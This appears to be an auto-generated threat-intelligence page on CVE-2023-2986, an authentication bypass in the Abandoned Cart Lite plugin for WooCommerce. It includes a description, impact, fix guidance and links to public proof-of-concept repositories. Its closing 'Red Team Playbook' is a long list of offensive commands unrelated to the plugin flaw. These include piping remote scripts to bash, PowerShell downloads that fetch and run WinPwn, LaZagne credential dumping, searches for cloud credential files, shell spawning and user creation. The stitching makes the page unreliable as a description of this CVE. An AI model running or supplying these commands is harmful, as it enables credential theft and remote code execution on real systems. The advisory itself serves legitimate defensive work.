CVE-2023-2986
Overview
This vulnerability is an authentication bypass caused by insufficient encryption of user identifiers within the abandoned cart link decoding process of the Abandoned Cart Lite for WooCommerce plugin. The affected component is the mechanism that processes and validates abandoned cart links, which fails to securely verify user identity, allowing unauthorized access. The flaw resides in versions up to and including 5.14.2, where the encryption and validation logic is inadequate to prevent tampering or replay of cart recovery links.
Vulnerability Description
The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.
Impact
An unauthenticated attacker can exploit this flaw to gain unauthorized access to accounts of users who abandoned their carts, typically customers, without requiring credentials or user interaction. This access allows attackers to impersonate legitimate users, potentially exposing sensitive personal and transactional data. The vulnerability requires only network access to the WordPress site hosting the plugin and no privileges, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. This can lead to data breaches and compromise of customer accounts, impacting business operations and user trust.
Solution
To remediate this vulnerability, upgrade the Abandoned Cart Lite for WooCommerce plugin to version 5.15.2 or later, which includes enhanced encryption and validation mechanisms preventing authentication bypass via abandoned cart links. Detailed patch information and code changes are documented in the WordPress plugin repository changeset 2922242 and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/68052614-204f-4237-af0e-4b8210ebd59f. No alternative workarounds are provided by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Abandoned Cart Lite for WooCommerce plugin for WordPress stems from an authentication bypass issue, primarily due to inadequate encryption mechanisms. Specifically, the plugin fails to securely encode user information during the decoding process of abandoned cart links. This weakness allows attackers to exploit the plugin's functionality, enabling them to impersonate legitimate users who have previously abandoned their shopping carts. The lack of proper encryption means that unauthenticated individuals can access sensitive user sessions, effectively logging in as customers without requiring any valid credentials. This flaw is particularly concerning given the nature of e-commerce, where customer data and transaction integrity are paramount.
Attack vectors associated with this vulnerability are relatively straightforward. An attacker could craft a malicious link or utilize existing abandoned cart links to gain unauthorized access to user accounts. By decoding the information embedded in these links, an attacker can retrieve session tokens or other sensitive data, allowing them to bypass authentication mechanisms. The exploitation could occur without any interaction from the legitimate user, making it a passive attack that could be executed at scale. For instance, an attacker could systematically target multiple abandoned cart links, gaining access to numerous user accounts and potentially leading to data breaches or fraudulent transactions.
The real-world impact of this vulnerability is significant, particularly for e-commerce businesses that rely on the integrity of user accounts and transactions. An attacker gaining unauthorized access to customer accounts could lead to various malicious activities, including unauthorized purchases, data theft, and the manipulation of user information. The potential for financial loss is compounded by the reputational damage that could ensue from a data breach, as customers may lose trust in the affected business. Furthermore, regulatory implications could arise if sensitive customer data is compromised, leading to legal repercussions and financial penalties under data protection laws.
To effectively detect and mitigate the risks associated with this vulnerability, businesses should implement several strategies. First, it is crucial to ensure that the plugin is updated to the latest version, which includes security hardening measures that address the identified weaknesses. Regularly monitoring and auditing plugins for vulnerabilities is essential to maintain a secure WordPress environment. Additionally, employing web application firewalls (WAFs) can help detect and block suspicious activities related to authentication bypass attempts. Organizations should also consider implementing multi-factor authentication (MFA) for user accounts, adding an extra layer of security that can significantly reduce the risk of unauthorized access.
In conclusion, the authentication bypass vulnerability in the Abandoned Cart Lite for WooCommerce plugin poses a serious threat to e-commerce platforms utilizing WordPress. The ease of exploitation and potential for significant business impact necessitate immediate attention from affected organizations. By adopting proactive security measures, including timely updates, regular audits, and enhanced authentication protocols, businesses can mitigate the risks associated with this vulnerability and protect their customers' sensitive information. As the cybersecurity landscape continues to evolve, maintaining vigilance against such vulnerabilities is essential for sustaining trust and integrity in online transactions.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-2986, accompanied by the emergence of multiple new proof-of-concept exploits available publicly. This development broadens the attack surface by lowering the barrier for threat actors to weaponize the vulnerability, increasing the likelihood of successful authentication bypasses against affected WooCommerce installations. Our telemetry indicates that while the overall exploitation trend remains stable, the qualitative shift toward more accessible and diverse exploit tools signals heightened adversary interest and capability. Consequently, the risk profile for organizations running vulnerable versions of the Abandoned Cart Lite for WooCommerce plugin has intensified, underscoring an elevated threat level that demands continued vigilance.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tychesoftwares | Abandoned Cart Lite For Woocommerce | All |
cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Ayantaker/CVE-2023-2986
Proof of Concept for vulnerability CVE-2023-2986 in 'Abandoned Cart Lite for WooCommerce' Plugin in WordPress
|
Ayantaker | 6 | 3 | 2023-06-09 | View |
|
Alucard0x1/CVE-2023-2986
Proof of Concept for vulnerability CVE-2023-2986 in 'Abandoned Cart Lite for WooCommerce' Plugin in WordPress in Python ...
|
Alucard0x1 | 0 | 2 | 2023-06-13 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
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